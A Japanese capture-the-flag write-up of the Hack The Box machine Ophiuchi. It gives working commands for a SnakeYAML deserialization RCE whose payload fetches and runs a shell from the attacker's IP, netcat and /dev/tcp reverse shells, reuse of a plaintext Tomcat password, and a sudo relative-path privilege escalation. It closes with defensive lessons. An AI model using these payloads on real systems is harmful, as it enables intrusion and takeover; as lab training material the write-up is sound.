Hack The BoxのWriteup(Ophiuchi)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Ophiuchi — 全実行コマンド・実行結果レポート
Nmap スキャン
22(SSH)/8080(Tomcat)
“Online YAML Parser” 発見
/yaml/ フォーム(name=”data”)
SnakeYAML 安全でないデシリアライズ
ScriptEngineManager+URLClassLoader
悪性JARロード → RCE
tomcatユーザー
tomcat-users.xml 平文パスワード
admin:whythereisalimit
admin SSH
user.txt ✓
sudo go run index.go
main.wasm/deploy.sh 差し替え
偽 main.wasm (info()→1) で deploy.sh実行
root.txt ✓

ポートスキャン

BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.54.38
nmap -sV -sC -p 22,8080 10.129.54.38
RESULT
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1
8080/tcp open  http    Apache Tomcat (language: en)
|_http-title: Parse YAML
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
ℹ️
ポート80はclosedで、Webアプリケーション本体は8080番のTomcatに 乗っている点に注意(80番だけ見て諦めないこと)。
PHASE 2

“Online YAML Parser” フォームの調査

フォームのHTMLソースからフィールド名を特定

BASH
curl -s "http://10.129.54.38:8080/yaml/"
RESULT (該当箇所抜粋)
<title>Parse YAML</title>
...
<form action="Servlet" method="post">
  <textarea type="text" id="data" class="fadeIn second" name="data" ...></textarea>
...
</form>
ℹ️
POST先は /yaml/Servlet、テキストエリアの name 属性は data。この値は実際にHTMLソースを取得しないと分からず、 推測(yaml/input等)では常に NullPointerException になり気づきにくい典型的なハマりどころ。
PHASE 3

SnakeYAML 安全でないデシリアライズ → RCE

公開PoC (artsploit/yaml-payload) の取得と改造

BASH
git clone https://github.com/artsploit/yaml-payload
cd yaml-payload
NOTE
SnakeYAMLの `Yaml.load()` はデフォルトで全クラスの構築を許してしまうため、
`!!javax.script.ScriptEngineManager` タグと `!!java.net.URLClassLoader` タグを
組み合わせると、攻撃者が指定した任意URLからJARをダウンロード・ロードさせ、
ScriptEngineFactory実装クラスの**コンストラクタ**を実行させられる
(著名な公開PoC artsploit/yaml-payload)。
BASH (src/artsploit/AwesomeScriptEngineFactory.java のコンストラクタを書き換え)
public AwesomeScriptEngineFactory() throws Exception {
  try {
    Process p = Runtime.getRuntime().exec("wget http://10.10.15.201:8000/shell -O /tmp/shell");
    p.waitFor();
    p = Runtime.getRuntime().exec("chmod +x /tmp/shell");
    p.waitFor();
    p = Runtime.getRuntime().exec("/tmp/shell");
    p.waitFor();
  } catch (IOException e) {
    e.printStackTrace();
  }
}
BASH (リバースシェルドロッパー shell)
#!/bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.201 4444 >/tmp/f

つまずきポイント: Kaliのデフォルトjavacでコンパイルすると失敗する

BASH (最初に失敗した方法)
javac src/artsploit/AwesomeScriptEngineFactory.java   # Kaliのデフォルト javac (JDK 25)
jar -cvf yaml-payload.jar -C src .
RESULT (送信すると対象から返るエラー)
Root Cause
java.lang.UnsupportedClassVersionError: artsploit/AwesomeScriptEngineFactory has been
compiled by a more recent version of the Java Runtime (class file version 69.0),
this version of the Java Runtime only recognizes class file versions up to 55.0
🚨
原因: Kali(攻撃側)のデフォルト javac は JDK 25 であり、 生成される .class ファイルの class file version は 69 (Java 25相当)。しかし対象のTomcatが動くJVMは version 55(Java 11) までしか実行できないため、悪性クラスをロードしようとした瞬間に UnsupportedClassVersionError でRCEに失敗し、リバースシェルが 一切返ってこない(HTTP 500は返るため一見「動いているように見える」のが厄介)。
BASH (修正後 — Java 11のjavacを明示的に使用)
# Kaliには java-11-openjdk パッケージも共存インストールされている
/usr/lib/jvm/java-11-openjdk-amd64/bin/javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src .
Java 11 の javac でビルドすると class file version 55 が生成され、 対象JVMと互換性が取れる(javap -verbose ...class | grep "major version" で55であることを確認済み)。攻撃対象のJavaバージョンが古い場合、 攻撃側のペイロードのコンパイルにも同じ(かそれ以下の)バージョンを 使うのは、この種のRCEチェーン全般で重要な鉄則。

HTTPサーバーでJAR配信 & リスナー起動 & ペイロード送信

BASH
# ターミナル1: JARファイルを配信
python3 -m http.server 8000 --directory yaml-payload

# ターミナル2: リバースシェル受信リスナー
nc -lnvp 4444

# ターミナル3: デシリアライズペイロード送信
curl -s -X POST --data-urlencode 'data=!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://10.10.15.201:8000/yaml-payload.jar"]
  ]]
]' http://10.129.54.38:8080/yaml/Servlet
RESULT (JAR配信ログ)
10.129.54.38 - - [.../yaml-payload.jar HTTP/1.1" 200 -
10.129.54.38 - - [.../yaml-payload.jar HTTP/1.1" 200 -
RESULT (nc リスナー側)
listening on [any] 4444 ...
connect to [10.10.15.201] from (UNKNOWN) [10.129.54.38] 37470
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat)
RCE成功。 対象がJARを2回GETしているのは、SnakeYAMLがクラスローダ経由で クラス定義とMETA-INF/services/のサービスプロバイダ設定を別々に 読みに行くため(正常な挙動)。
PHASE 4

tomcat-users.xml 平文パスワード & user.txt 取得

tomcat-users.xml を読む

BASH (リバースシェル内)
$ cat /opt/tomcat/conf/tomcat-users.xml
RESULT
<user username="admin" password="whythereisalimit" roles="manager-gui,admin-gui"/>

SSHログイン & user.txt 取得

BASH
sshpass -p 'whythereisalimit' ssh admin@10.129.54.38 "id; cat ~/user.txt"
RESULT
uid=1000(admin) gid=1000(admin) groups=1000(admin)
45788b599b12de70415bf792cc4df997
user.txt — admin@ophiuchi
45788b599b12de70415bf792cc4df997
PHASE 5

sudo権限とWebAssembly privescスクリプトの解析

sudo -l で許可コマンドを確認

BASH
admin@ophiuchi:~$ sudo -l
RESULT
User admin may run the following commands on ophiuchi:
    (ALL) NOPASSWD: /usr/bin/go run /opt/wasm-functions/index.go

index.go の内容を読む

BASH
admin@ophiuchi:~$ cat /opt/wasm-functions/index.go
RESULT (実機で確認した実際のソース全文)
package main

import (
	"fmt"
	wasm "github.com/wasmerio/wasmer-go/wasmer"
	"os/exec"
	"log"
)

func main() {
	bytes, _ := wasm.ReadBytes("main.wasm")
	instance, _ := wasm.NewInstance(bytes)
	defer instance.Close()
	init := instance.Exports["info"]
	result,_ := init()
	f := result.String()
	if (f != "1") {
		fmt.Println("Not ready to deploy")
	} else {
		fmt.Println("Ready to deploy")
		out, err := exec.Command("/bin/sh", "deploy.sh").Output()
		...
	}
}
🚨
脆弱性: main.wasmdeploy.sh がどちらも 絶対パス無しの相対パスで参照されている。つまり go run /opt/wasm-functions/index.go を実行した**カレントディレクトリ**の ファイルがそのまま読み込まれる。info() エクスポート関数が文字列 “1” を 返せば、同じカレントディレクトリの deploy.sh がroot権限で実行される。 攻撃者が書き込み可能な任意のディレクトリ(/tmp等)に自作の main.wasm(常に1を返すだけ)とdeploy.sh(任意コマンド)を 置き、そこをカレントディレクトリにして sudo 実行すれば権限昇格できる。
PHASE 6

偽 main.wasm の作成 → root.txt

info()が1を返すだけの最小WATソースをwat2wasmでビルド

BASH (main.wat)
(module
  (func (export "info") (result i32)
    i32.const 1
  )
)
BASH
wat2wasm main.wat -o main.wasm
ℹ️
wat2wasm(wabtパッケージ)はKaliに標準で導入されている。 実機の本物の main.wasm を逆コンパイル・解析する必要は無く、 「info()が”1″を返すだけ」という最小実装を新規に書いて コンパイルすれば十分。

リバースシェルを起動する deploy.sh を作成

BASH (deploy.sh)
#!/bin/bash
/bin/bash -c 'bash -i >& /dev/tcp/10.10.15.201/1234 0>&1'

/tmp へ転送し sudo 実行

BASH
scp main.wasm deploy.sh admin@10.129.54.38:/tmp/
ssh admin@10.129.54.38 "chmod +x /tmp/deploy.sh /tmp/main.wasm"

# リスナー起動
nc -lnvp 1234

# 別ターミナルでカレントディレクトリを/tmpにしてsudo実行をトリガー
ssh admin@10.129.54.38 "cd /tmp && sudo /usr/bin/go run /opt/wasm-functions/index.go"
⚠️
index.goexec.Command(...).Output() でdeploy.shの プロセス終了を待つ実装のため、deploy.shがリバースシェルを起動して 居座り続けると、このsudoコマンドを発行したSSHセッション自体は 接続がタイムアウトするまで応答を返さず「ハングしたように見える」。 これはバグではなく想定通りの挙動なので、トリガー側の応答を待たずに 別ターミナルのリスナー側を確認すればよい。
RESULT (nc :1234 リスナー側)
listening on [any] 1234 ...
connect to [10.10.15.201] from (UNKNOWN) [10.129.54.38] 57582
bash: cannot set terminal process group (2182): Inappropriate ioctl for device
bash: no job control in this shell
root@ophiuchi:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
権限昇格成功。 カレントディレクトリが /tmp の状態で sudo実行されたため、index.goが読み込む main.wasm/deploy.sh は攻撃者が用意したものになり、root権限のシェルが返ってきた。

root.txt 取得

BASH
root@ophiuchi:/tmp# cat /root/root.txt
RESULT
0ff6603eb53e5a07b93dd46397dcb61d
root.txt — root@ophiuchi
0ff6603eb53e5a07b93dd46397dcb61d
SUMMARY

攻略サマリー & 教訓

取得フラグ & 資格情報

user.txt — admin@ophiuchi
45788b599b12de70415bf792cc4df997
root.txt — root@ophiuchi
0ff6603eb53e5a07b93dd46397dcb61d
ユーザーパスワード入手経路
adminwhythereisalimittomcat-users.xml(平文保存、RCE経由で読取)

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
SnakeYAML 安全でないデシリアライズ Tomcat “Online YAML Parser” (/yaml/Servlet) リモートコード実行 (tomcatユーザー) Critical !!javax.script.ScriptEngineManager+URLClassLoaderで任意JARをロードさせコンストラクタ実行
平文パスワード保存 tomcat-users.xml 認証情報漏洩 Medium 管理者パスワードがそのままLinux SSHログインにも使えた
相対パス依存の任意コード実行 /opt/wasm-functions/index.go (NOPASSWD sudo) 権限昇格 (root) Critical main.wasm/deploy.shを絶対パス無しで参照 → カレントディレクトリを差し替えて偽ファイルを読み込ませる

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap フルポートスキャン22/8080のみ、Tomcat”Parse YAML”検出
2フォーム調査HTMLソース確認POST先/フィールド名(data)特定
3デシリアライズRCESnakeYAML + ScriptEngineManager悪用tomcatユーザーRCE
4資格情報流用tomcat-users.xml → SSHuser.txt
5権限調査sudo -l + index.goソース読解相対パス脆弱性の特定
6権限昇格偽main.wasm/deploy.sh差し替えroot.txt
症状原因修正
ペイロードJARを対象がダウンロードしてもリバースシェルが一切返らず、フォームフィールド名の問題かと誤診しがちだった Kaliのデフォルトjavac(JDK 25)でコンパイルしたクラスファイルのバージョン(69)が、対象JVMが認識できる上限(55 = Java 11)を超えておりUnsupportedClassVersionErrorで読み込み自体が失敗していた(HTTP 500は返るため一見動いているように見える) Kaliに共存インストールされている/usr/lib/jvm/java-11-openjdk-amd64/bin/javacを明示的に使ってコンパイルするよう変更

学んだ教訓 & 防御策

問題点防御策
SnakeYAMLのYaml.load()(安全でない旧API)をユーザー入力に対しそのまま使用 SafeConstructorを使うnew Yaml(new SafeConstructor())、または新しいSnakeYAMLバージョンのConstructor(LoaderOptions)でタグのホワイトリスト化を行う。
Tomcat管理コンソールのパスワードがLinuxアカウントと同一・平文でファイルに保存 アプリケーション用資格情報とOSアカウントを分離し、パスワードの使い回しを禁止する。
root権限で実行されるGoスクリプトが読み込みファイルを絶対パスで指定していない 特権操作を行うスクリプトでは、設定ファイル・プラグイン等のパスを必ず絶対パスで指定し、カレントディレクトリに依存しない設計にする。
HackTheBox: Ophiuchi | 完全攻略レポート